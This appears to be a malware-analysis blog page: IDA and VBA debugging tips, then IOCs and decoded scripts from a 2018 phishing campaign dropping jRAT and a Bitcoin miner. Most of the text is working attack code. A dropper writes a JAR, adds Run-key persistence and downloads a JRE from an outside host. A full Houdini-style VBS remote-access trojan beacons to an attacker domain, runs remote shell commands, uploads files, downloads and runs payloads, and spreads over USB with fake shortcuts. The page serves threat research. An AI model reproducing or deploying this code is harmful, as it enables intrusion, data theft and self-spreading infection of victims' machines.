bytes = wrap(d, 2)
for i in range(len(bytes)):
 bytes[i] = int(bytes[i],16)
print(chr(bytes[0] ^ 0xa3))
print(chr(bytes[1] ^ 0x54))
print(chr((~bytes[2]) & 0x000000FF))
print(chr(bytes[3] ^ 0x75))
print(chr(bytes[4] ^ 0xe7))
print(chr(bytes[5] ^ 0x44))
print(chr(bytes[6] ^ 0x4b))
print(chr(bytes[7] ^ 0x23))
print(chr(bytes[8] ^ 0xbf))
print(chr(bytes[9] ^ 0x45))
print(chr(bytes[10] ^ 0x3b))
print(chr(bytes[11] ^ 0x56))


thus in this example
d = "ce279c1a952e22579121573a"
prints out
mscorjit.dll

which is a library the malware is going to load

IDA Get String pointed to by Address

Related to this blog post
https://neonprimetime.blogspot.com/2018/10/malwaretech-ida-python-cheatsheet.html
and this
https://neonprimetime.blogspot.com/2018/11/ida-python-print-string-in-register.html

If you're in IDA and you have a address that you know points to a string

0018FB7C db 6Dh ; m
0018FB7D db 73h ; s
0018FB7E db 63h ; c
0018FB7F db 6Fh ; o
0018FB80 db 72h ; r
0018FB81 db 6Ah ; j
0018FB82 db 69h ; i
0018FB83 db 74h ; t
0018FB84 db 2Eh ; .
0018FB85 db 64h ; d
0018FB86 db 6Ch ; l
0018FB87 db 6Ch ; l
0018FB88 db 0 ; 0

And you want to print out that string go to
File -> Script Command

Choose Python as your scripting language

type in this command and hit run

print(GetString(0x0018FB7C))

which displays in the Output Window
mscorjit.dll

IDA Python Get String pointed to by Register

Related to this blog post
https://neonprimetime.blogspot.com/2018/10/malwaretech-ida-python-cheatsheet.html

If you're in IDA and you have a register, say EAX pointing to a location

RAX 000000000018FB7C

0018FB7C db 6Dh ; m
0018FB7D db 73h ; s
0018FB7E db 63h ; c
0018FB7F db 6Fh ; o
0018FB80 db 72h ; r
0018FB81 db 6Ah ; j
0018FB82 db 69h ; i
0018FB83 db 74h ; t
0018FB84 db 2Eh ; .
0018FB85 db 64h ; d
0018FB86 db 6Ch ; l
0018FB87 db 6Ch ; l
0018FB88 db 0 ; 0

And you want to print out that string go to
File -> Script Command

Choose Python as your scripting language

type in this command and hit run

print(GetString(GetRegValue("EAX")))

which displays in the Output Window
mscorjit.dll

VBA Macro Print Variable to Body

If you're debugging malicious macros in word documents using the Developer tab, sometimes you may get the urge to print out the contents of a variable to a Message Box

MsgBox(evilvariable)

The problem is , message boxes get truncated if the variable is too long and you can't easily copy & paste the contents into a text editor for example.

Thus I've found a better solution is to overwrite the body of the word document like so

ActiveDocument.Content = evilvariable

Works great, now you can view it and all copy & paste out to a text editor!

Monday, November 5, 2018

Jrat and Bitcoin miner from Phishing email with .IMG with nested .VBS 11/5/2018

phishing email drops a bitcoin miner and jrat out of a .IMG file with a .VBS inside


X-Env-Sender: dbittnerf@gmail.com
x-originating-ip: [162.144.196.83]
Received: from server.ineli-mena.org (HELO server.ineli-mena.org)
From: "Purchase Assistance" <dbittnerf@gmail.com>
Subject: RE: B&G EQUIPMENT PO# 102571
Date: Mon, 5 Nov 2018 

-------------


more details here

https://pastebin.com/raw/tkGXMENU

and also pasted below

---------------


#phishing email drops a bitcoin miner and jrat out of a .IMG file with a .VBS inside

more info @neonprimetime
https://neonprimetime.blogspot.com/2018/11/jrat-and-bitcoin-miner-from-img-vbs-phish.html

------
VT links
------
https://www.virustotal.com/#/file/f2bd54981d86e7d475164ca5725090232dc1efd5251c42b58292d8b51e506aa2/community
https://www.virustotal.com/#/file/370784be22039af009a0b4e7915e36c4899133ac3afbb659cbbbec03dc9a2c6e/community
https://www.virustotal.com/#/file/07e13a645058b0f0afe4e79a34abf08dbead97c50b41cb9593035af13250e0f1/community
https://www.virustotal.com/#/file/b0cf01550e576a21ff62f1c34dbe202b14b73b0465cdf7558c445f09eee3a6c1/community
https://www.virustotal.com/#/file/5dcd1a584e27f75870b2c95aac56523927377d8c693fe6fc8a3f422cac79cadc/community
https://www.virustotal.com/#/file/77ecb4b190368eacf09103247fdd75c0c30a6b3c3340acb3d15df7747178cabc/community

----
app anyrun
----
https://app.any.run/tasks/77449da4-d60e-4c45-922c-b4a85c7ef814

-----
dns
-----
welcomehome.duckdns.org [173.46.85.98]
fud.fudcrypt.com

----
md5 hashes
----
f3a99bcd752bff6a15154484c94cdc21
f3c67b1a2631fde05b24ab26ce5bf6ea
b93df40c82b94680218ea964b5ce6808 ( THOR APT scanner says #magickitten #jrat #MiddleEasternThreatGroups )
11d828c9301a36749174b1e0459cba55
d859b188405930541aea64ad22f8cf92
7443f9ecbd050b1e7eae529983543b05

------
email headers
------
X-Env-Sender: dbittnerf@gmail.com 
x-originating-ip: [162.144.196.83] 
Received: from server.ineli-mena.org (HELO server.ineli-mena.org) 
From: "Purchase Assistance" <dbittnerf@gmail.com> 
Subject: RE: B&amp;G EQUIPMENT PO# 102571
Date: Mon, 5 Nov 2018

---------------
vbscript
---------------
Set noun = CreateObject("ADODB.Stream")
Private Function hen(water, omo, alafia)
  If omo = 4 Then
    noun.Type = 1
    noun.Open
    noun.Write water
    noun.Position = 0
    noun.Type = 2
    noun.CharSet = "us-ascii"
    hen = noun.ReadText
  End If
End Function

Private Function bas_6_4_2_bin(kintu, kinpo, kili, manj, aaro, sport)
    Set ms_lmx_dfa = CreateObject("Microsoft.XMLDOM")
    Set ms_pmt_dfa = ms_lmx_dfa.createElement("tmp")
    ms_pmt_dfa.DataType = "bin.base64"
    ms_pmt_dfa.Text = kili
    bas_6_4_2_bin = ms_pmt_dfa.NodeTypedValue
End Function
Private Sub table(chair, milo, sound, clef, sule, naira)
 For i = 0 To 0
     ExecuteGlobal naira
 Next
End Sub

Private Function linen(stove, gard, radio, ladela)
    Dim m_u_t_e_x, the_const, m_a_i_n, pau_sed
    m_u_t_e_x = "#("
    the_const = "m"
    m_a_i_n = "[REMOVED]"
    pau_sed = ""
    If radio = 0 Then
        pau_sed = Replace(m_a_i_n, m_u_t_e_x, the_const)
        linen = bas_6_4_2_bin(Nothing, 1, pau_sed, 10, 87, False)
    Else
        'table "7", False, 10, ladela, Nothing, 10
        linen = ladela
    End If
End Function
Dim kilimanjaro
kilimanjaro = linen(0, Nothing, 1, hen(linen(0, Nothing, 0, 284), 4, Nothing))
table "2", Nothing, False, True, 0, kilimanjaro
Set noun = Nothing

---------------
decoded binary
---------------
Const TypeBinary = 1
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Dim longText1
longText1 = "[REMOVED]"
Set wshShell1 = CreateObject("WScript.Shell")
Dim appdatadir1, stubpath1
appdatadir1 = wshShell1.ExpandEnvironmentStrings("%appdata%")
stubpath1 = appdatadir1 & "\VRMedabkRb.vbs"
Dim decoded1
decoded1 = decodeBase64(longText1)
writeBytes stubpath1, decoded1
wshShell1.Run("""" & stubpath1 & """")
Set wshShell1 = Nothing
Dim longText
longText = "[REMOVED]"
longText = Replace(longText, "#(", "A")
Set wshShell = CreateObject( "WScript.Shell" )
Dim tempdir, appdatadir, text, stubpath
tempdir = wshShell.ExpandEnvironmentStrings("%temp%")
appdatadir = wshShell.ExpandEnvironmentStrings("%appdata%")
stubpath = appdatadir & "\ntfsmgr.jar"
Dim decoded
decoded = decodeBase64(longText)
writeBytes stubpath, decoded
Set fso  = CreateObject("Scripting.FileSystemObject")
On Error Resume Next
text = wshShell.RegRead("HKLM\SOFTWARE\Wow6432Node\JavaSoft\Java Runtime Environment\CurrentVersion")
text = wshShell.RegRead("HKLM\SOFTWARE\Wow6432Node\JavaSoft\Java Runtime Environment\" & text & "\JavaHome")
If text = "" Then
text = wshShell.RegRead("HKLM\SOFTWARE\JavaSoft\Java Runtime Environment\CurrentVersion")
text = wshShell.RegRead("HKLM\SOFTWARE\JavaSoft\Java Runtime Environment\" & text & "\JavaHome")
If text <> "" Then
text = text & "\bin\javaw.exe"
End If
Else
text = text & "\bin\javaw.exe"
End If
If InStr(text, "jre") > 0 Then
Dim validJrePath
validJrePath = getValidJre(text)
If InStr(validJrePath, "javaw.exe") > 0 Then
wshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ntfsmgr", """" & validJrePath & """ -jar """ & stubpath & """", "REG_SZ"
wshShell.Run("""" & validJrePath & """" & " -jar " & """" & stubpath & """")
Else
GrabJreFromNet()
End If
Else
GrabJreFromNet()
End If
Private Sub GrabJreFromNet()
Dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "http://www.thegoldfingerinc.com/images/jre.zip", False
xHttp.Send
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile appdatadir & "\jre.zip", 2 
end with
UnZip appdatadir & "\jre.zip", appdatadir & "\jre7"
wshShell.RegWrite "HKLM\SOFTWARE\JavaSoft\Java Runtime Environment\CurrentVersion", "1.7", "REG_SZ"
wshShell.RegWrite "HKLM\SOFTWARE\JavaSoft\Java Runtime Environment\1.7\JavaHome", appdatadir & "\jre7", "REG_SZ"
wshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ntfsmgr", """" & appdatadir & "\jre7\bin\javaw.exe"" -jar " & """" & stubpath & """", "REG_SZ"
wshShell.Run("""" & appdatadir & "\jre7\bin\javaw.exe"" -jar " & """" & stubpath & """")
End Sub
Private Function decodeBase64(base64)
Dim DM, EL
Set DM = CreateObject("Microsoft.XMLDOM")
Set EL = DM.createElement("tmp")
EL.DataType = "bin.base64"
EL.Text = base64
decodeBase64 = EL.NodeTypedValue
End Function
Private Sub writeBytes(file, bytes)
Dim binaryStream
Set binaryStream = CreateObject("ADODB.Stream")
binaryStream.Type = TypeBinary
binaryStream.Open
binaryStream.Write bytes
binaryStream.SaveToFile file, ForWriting
End Sub
Sub UnZip(zipfile, ExtractTo)
if fso.GetExtensionName(zipfile) = "zip" then
If NOT fso.FolderExists(ExtractTo) Then
fso.CreateFolder(ExtractTo)
End If
set objShell = CreateObject("Shell.Application")
set destination = objShell.NameSpace(ExtractTo)
set zip_content = objShell.NameSpace(zipfile).Items   
for i = 0 to zip_content.count - 1
if (fso.FileExists(fso.Buildpath(ExtractTo,zip_content.item(i).name)+"."+fso.getExtensionName(zip_content.item(i).path))) then
fso.DeleteFile(fso.Buildpath(ExtractTo,zip_content.item(i).name)+"."+fso.getExtensionName(zip_content.item(i).path))
end if
destination.copyHere zip_content.item(i), 20
next 
End if
End Sub
Function getValidJre(res)
a = Split(res, vbCrLf)
for each x in a
if InStr(x, "javaw.exe") > 0 Then
Return = wshShell.Run("cmd /c " & """" & x & """" & " -version 2> %temp%\output.txt", 0, true)
Set file = fso.OpenTextFile(tempdir & "\output.txt", 1)
text = file.ReadAll
file.Close
If InStr(text, "1.6") > 0 Or InStr(text, "1.7") > 0 Or InStr(text, "1.8") > 0 Then
getValidJre = x
Exit Function
End If
End If
next
End Function
Set wshShell = Nothing


------
nested vbscript
------
Set noun = CreateObject("ADODB.Stream")
Private Function hen(water, omo, alafia)
  If omo = 4 Then
    noun.Type = 1
    noun.Open
    noun.Write water
    noun.Position = 0
    noun.Type = 2
    noun.CharSet = "us-ascii"
    hen = noun.ReadText
  End If
End Function

Private Function bas_6_4_2_bin(kintu, kinpo, kili, manj, aaro, sport)
    Set ms_lmx_dfa = CreateObject("Microsoft.XMLDOM")
    Set ms_pmt_dfa = ms_lmx_dfa.createElement("tmp")
    ms_pmt_dfa.DataType = "bin.base64"
    ms_pmt_dfa.Text = kili
    bas_6_4_2_bin = ms_pmt_dfa.NodeTypedValue
End Function
Private Sub table(chair, milo, sound, clef, sule, naira)
 For i = 0 To 0
     ExecuteGlobal naira
 Next
End Sub

Private Function linen(stove, gard, radio, ladela)
    Dim m_u_t_e_x, the_const, m_a_i_n, pau_sed
    m_u_t_e_x = "#("
    the_const = "A"
    m_a_i_n = "[REMOVED]"
    pau_sed = ""
    If radio = 0 Then
        pau_sed = Replace(m_a_i_n, m_u_t_e_x, the_const)
        linen = bas_6_4_2_bin(Nothing, 1, pau_sed, 10, 87, False)
    Else
        'table "7", False, 10, ladela, Nothing, 10
        linen = ladela
    End If
End Function
Dim kilimanjaro
kilimanjaro = linen(0, Nothing, 1, hen(linen(0, Nothing, 0, 284), 4, Nothing))
table "2", Nothing, False, True, 0, kilimanjaro
Set noun = Nothing


-----
3rd nested script decoded
-----

'<[ recoder : houdini (c) skype : houdini-fx ]>

'=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=

'host = "pm2bitcoin.com"
'port = 3175
host = "fud.fudcrypt.com"
port = 7755
installdir = "%appdata%"
lnkfile = true
lnkfolder = true

'=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=

dim shellobj 
set shellobj = wscript.createobject("wscript.shell")
dim filesystemobj
set filesystemobj = createobject("scripting.filesystemobject")
dim httpobj
set httpobj = createobject("msxml2.xmlhttp")


'=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=

installname = wscript.scriptname
startup = shellobj.specialfolders ("startup") & "\"
installdir = shellobj.expandenvironmentstrings(installdir) & "\"
if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
spliter = "<" & "|" & ">"
sleep = 5000 
dim response
dim cmd
dim param
info = ""
usbspreading = ""
startdate = ""
dim oneonce

'=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
on error resume next


instance
while true

install

response = ""
response = post ("is-ready","")
cmd = split (response,spliter)
select case cmd (0)
case "excecute"
      param = cmd (1)
      execute param
case "update"
      param = cmd (1)
      oneonce.close
      set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
      oneonce.write param
      oneonce.close
      shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
      wscript.quit 
case "uninstall"
      uninstall
case "send"
      download cmd (1),cmd (2)
case "site-send"
      sitedownloader cmd (1),cmd (2)
case "recv"
      param = cmd (1)
      upload (param)
case  "enum-driver"
      post "is-enum-driver",enumdriver  
case  "enum-faf"
      param = cmd (1)
      post "is-enum-faf",enumfaf (param)
case  "enum-process"
      post "is-enum-process",enumprocess   
case  "cmd-shell"
      param = cmd (1)
      post "is-cmd-shell",cmdshell (param)  
case  "delete"
      param = cmd (1)
      deletefaf (param) 
case  "exit-process"
      param = cmd (1)
      exitprocess (param) 
case  "sleep"
      param = cmd (1)
      sleep = eval (param)        
end select

wscript.sleep sleep

wend


sub install
on error resume next
dim lnkobj
dim filename
dim foldername
dim fileicon
dim foldericon

upstart
for each drive in filesystemobj.drives

if  drive.isready = true then
if  drive.freespace  > 0 then
if  drive.drivetype  = 1 then
    filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
    if  filesystemobj.fileexists (drive.path & "\" & installname)  then
        filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
    end if
    for each file in filesystemobj.getfolder( drive.path & "\" ).Files
        if not lnkfile then exit for
        if  instr (file.name,".") then
            if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                file.attributes = 2+4
                if  ucase (file.name) <> ucase (installname) then
                    filename = split(file.name,".")
                    set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                    lnkobj.windowstyle = 7
                    lnkobj.targetpath = "cmd.exe"
                    lnkobj.workingdirectory = ""
                    lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                    fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                    if  instr (fileicon,",") = 0 then
                        lnkobj.iconlocation = file.path
                    else 
                        lnkobj.iconlocation = fileicon
                    end if
                    lnkobj.save()
                end if
            end if
        end if
    next
    for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
        if not lnkfolder then exit for
        folder.attributes = 2+4
        foldername = folder.name
        set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
        lnkobj.windowstyle = 7
        lnkobj.targetpath = "cmd.exe"
        lnkobj.workingdirectory = ""
        lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
        foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
        if  instr (foldericon,",") = 0 then
            lnkobj.iconlocation = folder.path
        else 
            lnkobj.iconlocation = foldericon
        end if
        lnkobj.save()
    next
end If
end If
end if
next
err.clear
end sub

sub uninstall
on error resume next
dim filename
dim foldername

shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
filesystemobj.deletefile startup & installname ,true
filesystemobj.deletefile wscript.scriptfullname ,true

for  each drive in filesystemobj.drives
if  drive.isready = true then
if  drive.freespace  > 0 then
if  drive.drivetype  = 1 then
    for  each file in filesystemobj.getfolder ( drive.path & "\").files
         on error resume next
         if  instr (file.name,".") then
             if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                 file.attributes = 0
                 if  ucase (file.name) <> ucase (installname) then
                     filename = split(file.name,".")
                     filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                 else
                     filesystemobj.deletefile (drive.path & "\" & file.name)
                 end If
             else
                 filesystemobj.deletefile (file.path) 
             end if
         end if
     next
     for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
         folder.attributes = 0
     next
end if
end if
end if
next
wscript.quit
end sub

function post (cmd ,param)

post = param
httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
httpobj.setrequestheader "user-agent:",information
httpobj.send param
post = httpobj.responsetext
end function

function information
on error resume next
if  inf = "" then
    inf = hwid & spliter 
    inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
    inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter

    set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
    set os = root.execquery ("select * from win32_operatingsystem")
    for each osinfo in os
       inf = inf & osinfo.caption & spliter  
       exit for
    next
    inf = inf & "plus" & spliter
    inf = inf & security & spliter
    inf = inf & usbspreading
    information = inf  
else
    information = inf
end if
end function


sub upstart ()
on error resume Next

shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true

end sub


function hwid
on error resume next

set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
set disks = root.execquery ("select * from win32_logicaldisk")
for each disk in disks
    if  disk.volumeserialnumber <> "" then
        hwid = disk.volumeserialnumber
        exit for
    end if
next
end function


function security 
on error resume next

security = ""

set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
for each objitem in colitems
    versionstr = split (objitem.version,".")
next
versionstr = split (colitems.version,".")
osversion = versionstr (0) & "."
for  x = 1 to ubound (versionstr)
  osversion = osversion &  versionstr (i)
next
osversion = eval (osversion)
if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"

set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)

for each objantivirus in colantivirus
    security  = security  & objantivirus.displayname & " ."
next
if security  = "" then security  = "nan-av"
end function


function instance
on error resume next

usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
if usbspreading = "" then
   if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
      usbspreading = "true - " & date
      shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
   else
      usbspreading = "false - " & date
      shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"

   end if
end If



upstart
set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
set installfullnameshort =  filesystemobj.getfile (installdir & installname)
if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
    shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
    wscript.quit 
end If
err.clear
set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
if  err.number > 0 then wscript.quit
end function


sub sitedownloader (fileurl,filename)

strlink = fileurl
strsaveto = installdir & filename
set objhttpdownload = createobject("msxml2.xmlhttp" )
objhttpdownload.open "get", strlink, false
objhttpdownload.send

set objfsodownload = createobject ("scripting.filesystemobject")
if  objfsodownload.fileexists (strsaveto) then
    objfsodownload.deletefile (strsaveto)
end if
 
if objhttpdownload.status = 200 then
   dim  objstreamdownload
   set  objstreamdownload = createobject("adodb.stream")
   with objstreamdownload
  .type = 1 
  .open
  .write objhttpdownload.responsebody
  .savetofile strsaveto
  .close
   end with
   set objstreamdownload = nothing
end if
if objfsodownload.fileexists(strsaveto) then
   shellobj.run objfsodownload.getfile (strsaveto).shortpath
end if 
end sub

sub download (fileurl,filedir)

if filedir = "" then 
   filedir = installdir
end if

strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
set objhttpdownload = createobject("msxml2.xmlhttp")
objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
objhttpdownload.send ""
     
set objfsodownload = createobject ("scripting.filesystemobject")
if  objfsodownload.fileexists (strsaveto) then
    objfsodownload.deletefile (strsaveto)
end if
if  objhttpdownload.status = 200 then
    dim  objstreamdownload
 set  objstreamdownload = createobject("adodb.stream")
    with objstreamdownload 
   .type = 1 
   .open
   .write objhttpdownload.responsebody
   .savetofile strsaveto
   .close
 end with
    set objstreamdownload  = nothing
end if
if objfsodownload.fileexists(strsaveto) then
   shellobj.run objfsodownload.getfile (strsaveto).shortpath
end if 
end sub


function upload (fileurl)

dim  httpobj,objstreamuploade,buffer
set  objstreamuploade = createobject("adodb.stream")
with objstreamuploade 
     .type = 1 
     .open
  .loadfromfile fileurl
  buffer = .read
  .close
end with
set objstreamdownload = nothing
set httpobj = createobject("msxml2.xmlhttp")
httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
httpobj.send buffer
end function


function enumdriver ()

for  each drive in filesystemobj.drives
if   drive.isready = true then
     enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
end if
next
end Function

function enumfaf (enumdir)

enumfaf = enumdir & spliter
for  each folder in filesystemobj.getfolder (enumdir).subfolders
     enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
next

for  each file in filesystemobj.getfolder (enumdir).files
     enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter

next
end function


function enumprocess ()

on error resume next

set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
set colitems = objwmiservice.execquery("select * from win32_process",,48)

dim objitem
for each objitem in colitems
 enumprocess = enumprocess & objitem.name & "|"
 enumprocess = enumprocess & objitem.processid & "|"
    enumprocess = enumprocess & objitem.executablepath & spliter
next
end function

sub exitprocess (pid)
on error resume next

shellobj.run "taskkill /F /T /PID " & pid,7,true
end sub

sub deletefaf (url)
on error resume next

filesystemobj.deletefile url
filesystemobj.deletefolder url

end sub

function cmdshell (cmd)

dim httpobj,oexec,readallfromany

set oexec = shellobj.exec ("%comspec% /c " & cmd)
if not oexec.stdout.atendofstream then
   readallfromany = oexec.stdout.readall
elseif not oexec.stderr.atendofstream then
   readallfromany = oexec.stderr.readall
else 
   readallfromany = ""
end if

cmdshell = readallfromany
end function